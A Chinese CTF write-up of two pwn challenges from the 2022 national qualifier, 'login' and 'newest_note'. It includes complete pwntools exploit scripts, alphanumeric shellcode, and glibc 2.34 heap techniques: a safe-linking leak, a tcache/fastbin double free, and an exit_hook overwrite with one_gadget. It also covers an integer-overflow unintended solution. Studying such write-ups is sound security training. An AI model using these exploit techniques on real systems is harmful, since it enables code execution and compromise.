0%

国赛-初赛2022

login-nomal

1
GNU C Library (Ubuntu GLIBC 2.33-0ubuntu5) release release versio
1
2
3
4
5
6
7
login: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.34-0ubuntu3_amd64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=776a804f3b57556db703db0581fc8598b3ad85a8, stripped

Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

64位,dynamically,全开

整体的逻辑为:

  • 输入 “command : ops”,循环5次(以“\n”进行间隔)
  • command 有两种命令“opt,msg”,每种对应不同的函数,“ops”为对应的操作数
  • “msg:ops_m”中的“ops_m”会被放入 Switch-Case 中,用于选择将要执行的函数
  • “opt:opt_o”中的“opt_o”会被分配内存,然后放入对应的函数作为参数
1
2
3
4
5
6
7
8
9
10
11
12
13
if ( key != 1 )
{
puts("oh!");
exit(-1);
}
if ( key2 )
{
pagesize = getpagesize(); // 获取内存分页大小
page = (void *)(int)mmap((void *)0x1000, pagesize, 7, 34, 0, 0LL);
opslen = strlen(ops);
memcpy(page, ops, opslen);
((void (*)(void))page)(); // shellcode注入点
}

“msg:2”中:有个 shellcode 的注入点,只要两个 key 都为“1”,就可以 getshell

“msg:1”中:如果“ops_m”为“ro0t”,就会设置两个 key 为“1”

攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
from pwn import * 
context.log_level ='debug'
cn = process("./login")

sc = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"

payload = '''opt:0\nopt:0\nopt:0\nmsg:ro0tt\nopt:1\n'''
cn.sendlineafter(">>>", payload)
payload = '''opt:0\nopt:0\nopt:0\nmsg:{}a\nopt:2\n'''.format(sc)
cn.sendlineafter(">>>", payload)
cn.interactive()

newest_note

1
GNU C Library (Ubuntu GLIBC 2.34-0ubuntu3) stable release version
1
2
3
4
5
6
7
8
9
newest_note: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a0f1711c159c5e24913b8711a535fb4268812414, stripped

[*] '/home/yhellow/\xe6\xa1\x8c\xe9\x9d\xa2/exp/newest_note'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: './'

64位,dynamically,全开

2.34-0ubuntu3 在 glibc-all-in-one 里面没有符号表,需要手动下载,在 GDB 中的使用:

  • 先用 patchelf 更换 libc 和 ld:
1
exp patchelf ./newest_note --set-interpreter ./ld-linux-x86-64.so.2 --replace-needed libc.so.6 ./libc.so.6 --output newest_note1
  • 在 GDB 里面使用 set debug-file-directory director:
1
2
3
pwndbg> set debug-file-directory /home/yhellow/tools/debuglibc/2.34-0ubuntu3/usr/lib/debug/
pwndbg> show debug-file-directory
The directory where separate debug symbols are searched for is "/home/yhellow/tools/debuglibc/2.34-0ubuntu3/usr/lib/debug/".

必须让 GDB 链接符号表,不然 heap 命令没法使用

漏洞分析:

1
2
3
4
5
6
7
8
9
if ( chunk_s )
{
LODWORD(chunk_s) = key2; // key2 = 0xA
if ( key2 >= 0 )
{
free((void *)list[index]); // UAF
LODWORD(chunk_s) = --key2;
}
}
  • UAF,并且 free 模块只能执行11次

入侵思路:

首先高 libc 版本中的 tcache 有 key 保护(一般为 heap_base/tcache_perthread_struct + 0x10),ptmalloc 会在 free tcache->BK 中写入 key(tcache 只使用 FD/next 进行遍历),如果释放 tcache 时检查到 BK 的位置是 key,就会报错

没有可以绕过 tcache 的手段,所以采用 Double free

  • 注意 libc-2.32 以后新加的特性:
1
2
3
4
5
6
7
8
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

/* tcache */
e->next = PROTECT_PTR(&e->next, tcache->entries[tc_idx]); /* key */
/* fastbin */
p->fd = PROTECT_PTR(&p->fd, old); /* p->head */
  • 通过这个特性,来获取 heap_base 和 key
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for i in range(9):
add(i,'a'*0x20) # key与FD有关,一定要保证后续的chunk->FD都相同

for i in range(7):
delete(i)

show(0)

p.recvuntil("Content: ")
leak_addr = u64(p.recvuntil("\n")[:-1].ljust(8,"\x00"))

heap_base = leak_addr<<12
key = leak_addr

success("heap_base >> "+hex(heap_base))
success("key >> "+hex(key))

接下来我的思路是:利用 Double 来修改 tcache_perthread_struct

  • 填满 tcache 需要7次,打 Double free 需要3次,leak libc_base 需要一次
  • 改来改去还是突破不了11次 free 的限制

预期解

网上有另一种思路可以把 Double free 压缩到2次:

1
2
3
4
5
6
for i in range(7):
delete(i)

delete(7)
add(10,'aaaaaaaa')
delete(7)

heap 排布如下:

  • tcache 刚好满
1
2
tcachebins
0x40 [ 7]: 0x55f6889144b0 —▸ 0x55f688914470 —▸ 0x55f688914430 —▸ 0x55f6889143f0 —▸ 0x55f6889143b0 —▸ 0x55f688914370 —▸ 0x55f688914330 ◂— 0x0
  • delete(7):再释放一个 chunk,进入 fastbin
1
2
3
4
5
6
tcachebins
0x40 [ 7]: 0x55f6889144b0 —▸ 0x55f688914470 —▸ 0x55f688914430 —▸ 0x55f6889143f0 —▸ 0x55f6889143b0 —▸ 0x55f688914370 —▸ 0x55f688914330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55f6889144e0 ◂— 0x0
  • add(10,’aaaaaaaa’):从 tcache 中申请一个 chunk
1
2
3
4
5
6
tcachebins
0x40 [ 6]: 0x55f688914470 —▸ 0x55f688914430 —▸ 0x55f6889143f0 —▸ 0x55f6889143b0 —▸ 0x55f688914370 —▸ 0x55f688914330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55f6889144e0 ◂— 0x0
  • delete(7):再次释放同一个 chunk,进入 tcache
1
2
3
4
5
6
tcachebins
0x40 [ 7]: 0x55f6889144f0 —▸ 0x55f688914470 —▸ 0x55f688914430 —▸ 0x55f6889143f0 —▸ 0x55f6889143b0 —▸ 0x55f688914370 —▸ 0x55f688914330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55f6889144e0 —▸ 0x55f688914470 ◂— 0x55f688914

这个有点 House Of Botcake 的味道,利用了 tcachebin 和 fastbin 的独立性,使 chunk 同时存在于 tcache 和 fastbin 中,巧妙的避开了两边的检查

现在我们可以在 fastbin 中伪造一个 tcachebin(申请到 fastbin 时,会把 fastbin 放入 tcachebin),因为第一个 chunk 同时存在于 tcache 和 fastbin,所以我们可以人为制造一些“错位”

  • 直接在第一个 chunk 中写入 next chunk+0x20
  • 然后在 next chunk 中写入 next next chunk-0x20

下面是网上 leak libc 的 exp 片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(10,p64(key^(heap_base+0x480))) # @1
add(0,b'a'*0x20+p64(key^(heap_base+0x440))) # @2
add(1,b'a'*0x20+p64(key^(heap_base+0x400))) # @3
add(2,b'a'*0x20+p64(key^(heap_base+0x3a0))) # @4
add(3,p64(key^(heap_base+0x380))) # @5
add(4,b'a'*0x20+p64(key^(heap_base+0x340))) # @6
add(5,b'a'*0x20+p64(key)) # @7
add(7,'aaaaaaaa') # @8
add(7,b'a'*0x18+p64(0x441)) # @9

free(4)
show(4)
p.recvuntil('Content: ')
libc_base = u64(p.recvuntil('\x0a')[:-1].ljust(8,b'\x00')) - 0x218cc0
success('libc_base-->'+hex(libc_base))
  • PS:“@4”和“@5”的反常只是为了后续的利用,和 leak libc_base 的过程无关

heap 排列:

1
2
3
4
5
6
tcachebins // @0
0x40 [ 7]: 0x55630178c4f0 —▸ 0x55630178c470 —▸ 0x55630178c430 —▸ 0x55630178c3f0 —▸ 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c470 ◂— 0x55630178c
1
2
3
4
5
6
tcachebins // @1
0x40 [ 6]: 0x55630178c470 —▸ 0x55630178c430 —▸ 0x55630178c3f0 —▸ 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 ◂— 0x55630178c
1
2
3
4
5
6
tcachebins // @2
0x40 [ 5]: 0x55630178c430 —▸ 0x55630178c3f0 —▸ 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 ◂— 0x55630178c
1
2
3
4
5
6
tcachebins // @3
0x40 [ 4]: 0x55630178c3f0 —▸ 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 ◂— 0x55630178c
1
2
3
4
5
6
tcachebins // @4
0x40 [ 3]: 0x55630178c3b0 —▸ 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 —▸ 0x55630178c3a0 ◂— ...
  • 这里把 fastchunk 的间隔从 64 变为了 96(0x400-0x3a0)
  • 这是为了人为制造堆溢出
1
2
3
4
5
6
tcachebins // @5
0x40 [ 2]: 0x55630178c370 —▸ 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 —▸ 0x55630178c3a0 ◂— ...
  • 这里又把 fastchunk 的间隔变为了 32(0x3a0-0x380)
  • 造成了堆溢出
1
2
3
4
5
6
tcachebins // @6
0x40 [ 1]: 0x55630178c330 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 —▸ 0x55630178c3a0 ◂— ...
  • 0x370 就是攻击对象,我们需要修改它的 chunk->size
1
2
3
4
5
6
tcachebins // @7
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x55630178c4e0 —▸ 0x55630178c480 —▸ 0x55630178c440 —▸ 0x55630178c400 —▸ 0x55630178c3a0 ◂— ...
1
2
tcachebins // @8
0x40 [ 6]: 0x55630178c350 —▸ 0x55630178c390 —▸ 0x55630178c3b0 —▸ 0x55630178c410 —▸ 0x55630178c450 —▸ 0x55630178c490 ◂— 0x0
  • 在单独申请一个 fastbin 中的堆块后,由于 tcache 的机制,剩余未被申请的堆块会以倒序的方式重新被挂进 tcache bin 中
  • 在 GDB 中显示 tcache->next(溢出目标为:0x390 -> 0x3b0)
1
2
tcachebins // @9
0x40 [ 5]: 0x55630178c390 —▸ 0x55630178c3b0 —▸ 0x55630178c410 —▸ 0x55630178c450 —▸ 0x55630178c490 ◂— 0x0
  • 在 0x350 写入数据,一直溢出到 0x370 的 chunk->size

最后是 get shell 的 exp 片段:

1
2
3
4
5
6
add(11,b'a'*0x18+p64(0x41)+p64(key^(exit_hook-0x8))) # @1
add(12,b'aaaa') # @2
add(13,b'a'*0x8+p64(one_gadget)) # @3

p.recvuntil('4. Exit')
p.sendline('4')

heap 排列:

1
2
3
4
5
6
7
8
9
10
11
12
tcachebins // @0
0x40 [ 5]: 0x55dc29f33390 —▸ 0x55dc29f333b0 —▸ 0x55dc29f33410 —▸ 0x55dc29f33450 —▸ 0x55dc29f33490 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55dc29f33360 —▸ 0x7f9b86b4acc0 (main_arena+96) ◂— 0x55dc29f33360
1
2
tcachebins // @1
0x40 [ 4]: 0x55dc29f333b0 —▸ 0x7f9b86b4c6c0 (_IO_str_jumps+160) ◂— 0x7f9c7f2438fc
1
2
tcachebins // @2
0x40 [ 3]: 0x7f9b86b4c6c0 (_IO_str_jumps+160) ◂— 0x7f9c7f2438fc
  • 可以发现:0x390 与 0x3b0 之间差了 32,是可以进行溢出的
  • 所以直接在 0x3b0 中写入 exit_hook-0x8
  • 申请到这片区域以后就可以写入 one_gadget

我借鉴了一下他的思路,想改变一下他的 heap 布局,但是改来改去都不合适,感觉只有他这个是最合适的,还要注意一下 unsortedbin 相邻的下一个 chunk 必须存在(高版本 libc 的 free 会检查相邻下的两个 chunk 是否合法,如果是 top chunk 则另说)

1
2
3
4
5
6
7
Allocated chunk | PREV_INUSE
Addr: 0x563874197360
Size: 0x441

Allocated chunk
Addr: 0x5638741977a0
Size: 0x00
  • 不合法的 unsorted chunk
1
2
3
4
5
6
7
8
9
10
11
Allocated chunk | PREV_INUSE
Addr: 0x55b4c3312360
Size: 0x441

Allocated chunk | PREV_INUSE
Addr: 0x55b4c33127a0
Size: 0x41

Top chunk | PREV_INUSE
Addr: 0x55b4c33127e0
Size: 0x20821
  • 合法的 unsorted chunk

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

elf=ELF("./newest_note1")
libc=ELF("./libc.so.6")

#p=gdb.debug('./newest_note1', 'set debug-file-directory /home/yhellow/tools/debuglibc/2.34-0ubuntu3/usr/lib/debug/')
p=process("./newest_note1")

p.sendlineafter("will be? :",str(16))

def add(index,content):
p.sendlineafter(": ",str(1))
p.sendlineafter("Index: ",str(index))
p.sendafter("Content: ",content)

def delete(index):
p.sendlineafter(": ",str(2))
p.sendlineafter("Index: ",str(index))

def show(index):
p.sendlineafter(": ",str(3))
p.sendlineafter("Index: ",str(index))

for i in range(16):
add(i,'a'*0x20)

add(15,'a'*0x20) # 为了unsorted chunk合法而做的堆风水
add(15,'a'*0x20)
add(15,'a'*0x20)

for i in range(7):
delete(i)

show(0)

p.recvuntil("Content: ")
leak_addr = u64(p.recvuntil("\n")[:-1].ljust(8,"\x00"))

heap_base = leak_addr<<12
key = leak_addr

success("heap_base >> "+hex(heap_base))
success("key >> "+hex(key))

delete(7)
add(8,'a'*0x20)
delete(7)

add(1,p64(key^(heap_base+0x480)))
add(2,b'a'*0x20+p64(key^(heap_base+0x440)))
add(3,b'a'*0x20+p64(key^(heap_base+0x400)))
add(4,b'a'*0x20+p64(key^(heap_base+0x3a0)))
add(5,p64(key^(heap_base+0x380))) # target:0x370
add(6,b'a'*0x20+p64(key^(heap_base+0x340)))
add(7,b'a'*0x20+p64(key))
add(8,'aaaaaaaa')
add(9,b'a'*0x18+p64(0x441))

delete(6)
show(6)

p.recvuntil('Content: ')
leak_addr = u64(p.recvuntil("\n")[:-1].ljust(8,"\x00"))
libc_base = leak_addr - 0x218cc0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

exit_hook = libc_base + 0x21a6c8
one_gadget = libc_base + 0xeeccc

add(10,'a'*0x18+p64(0x41)+p64(key^(exit_hook-0x8)))
add(11,'a'*0x8)
add(12,'a'*0x8+p64(one_gadget))

p.sendline('4')

p.interactive()

非预期解

网上还有一种思路,利用了 malloc 和 memset 的特性:

1
p.sendlineafter("will be? :",str(0x40040000))

直接让 num_s 为 0x40040000,就可以让这个存堆指针的堆申请到 libc 上面,其实这里的 0x40040000*8 是有整形溢出的

1
2
3
4
printf("%s", "How many pages your notebook will be? :");
num_s = get_num(); // num_s是int类型
list = malloc(8 * num_s);
memset(list, 0, 8 * num_s);

这里有个小细节要注意一下:

1
2
void *malloc(size_t size);
void *memset(void *str, int c, size_t n);
  • 看上去 malloc 和 memset 可以接收8字节的数据,但是这里的 size_t 代表的是 unsorted int
  • 案例如下:
1
2
3
4
5
6
int main(){
void* fd;
fd = malloc(0x40040000*8);
memset(fd,0,0x40040000*8);
return 0;
}
1
2
3
4
5
6
7
8
  0x40115e <main+8>     mov    edi, 0x200000
0x401163 <main+13> call malloc@plt <malloc@plt>
size: 0x200000

0x40117d <main+39> call memset@plt <memset@plt>
s: 0x7ffff7bbf010 ◂— 0x0
c: 0x0
n: 0x200000
  • 可以发现,传入的是 0x40040000*8,GDB 上显示的却是 0x200000
1
2
3
4
5
In [35]: bin(0x40040000*8)
Out[35]: '0b1000000000001000000000000000000000'

In [36]: bin(0x200000)
Out[36]: '0b1000000000000000000000'
  • 很明显整数溢出了,说明这个 size_t 其实代表了4字节

size_t 本来就是为了提高C语言的可移植性而诞生的,它在不同的场合可以有不同的功能,我们常常把 size_t 的大小当做“一字”,并用它来表示地址,但在以上这个场合中,size_t 就相当于是 unsorted int

知道了这个原理就可以直接 leak libc_base 了,节约了一次 free 的机会,然后 Double free 就可以了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

elf=ELF("./newest_note1")
libc=ELF("./libc.so.6")

#p=gdb.debug('./newest_note1', 'set debug-file-directory /home/yhellow/tools/debuglibc/2.34-0ubuntu3/usr/lib/debug/')
p=process("./newest_note1")

p.sendlineafter("will be? :",str(0x40040000))

def add(index,content):
p.sendlineafter(": ",str(1))
p.sendlineafter("Index: ",str(index))
p.sendafter("Content: ",content)

def delete(index):
p.sendlineafter(": ",str(2))
p.sendlineafter("Index: ",str(index))

def show(index):
p.sendlineafter(": ",str(3))
p.sendlineafter("Index: ",str(index))

show((0x7f99c17fbcd0-0x7f99c13df000)/8)

p.recvuntil('Content: ')
leak_addr = u64(p.recvuntil("\n")[:-1].ljust(8,"\x00"))
libc_base = leak_addr - 0x218cc0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

exit_hook = libc_base + 0x21a6c8
one_gadget = libc_base + 0xeeccc

for i in range(9):
add(i,'a'*8)
for i in range(7):
delete(i)

show(0)

p.recvuntil("Content: ")
leak_addr = u64(p.recvuntil("\n")[:-1].ljust(8,"\x00"))
heap_base = leak_addr<<12
success("heap_base >> "+hex(heap_base))

delete(7)
delete(8)
delete(7)

for i in range(7):
add(i,'a'*8)

target=((heap_base+0x450)>>12)^(exit_hook-0x8)

add(7,p64(target))
add(7,'a'*8)
add(7,'a'*8)
add(7,p64(one_gadget)*2)

p.sendline('4')

p.interactive()

小结:

这是我的第一场国赛,打的很憋屈,可能 70% 的时间都在搭环境

我感觉现在比赛的 libc 版本越来越高了,house of 也越来越多了,打比赛时 2.34 版本的 libc 始终搞不到,搞到了也没有符号表,最后连 GDB 的 heap 指令都没有用就开始强行搞题,搞得我有点崩溃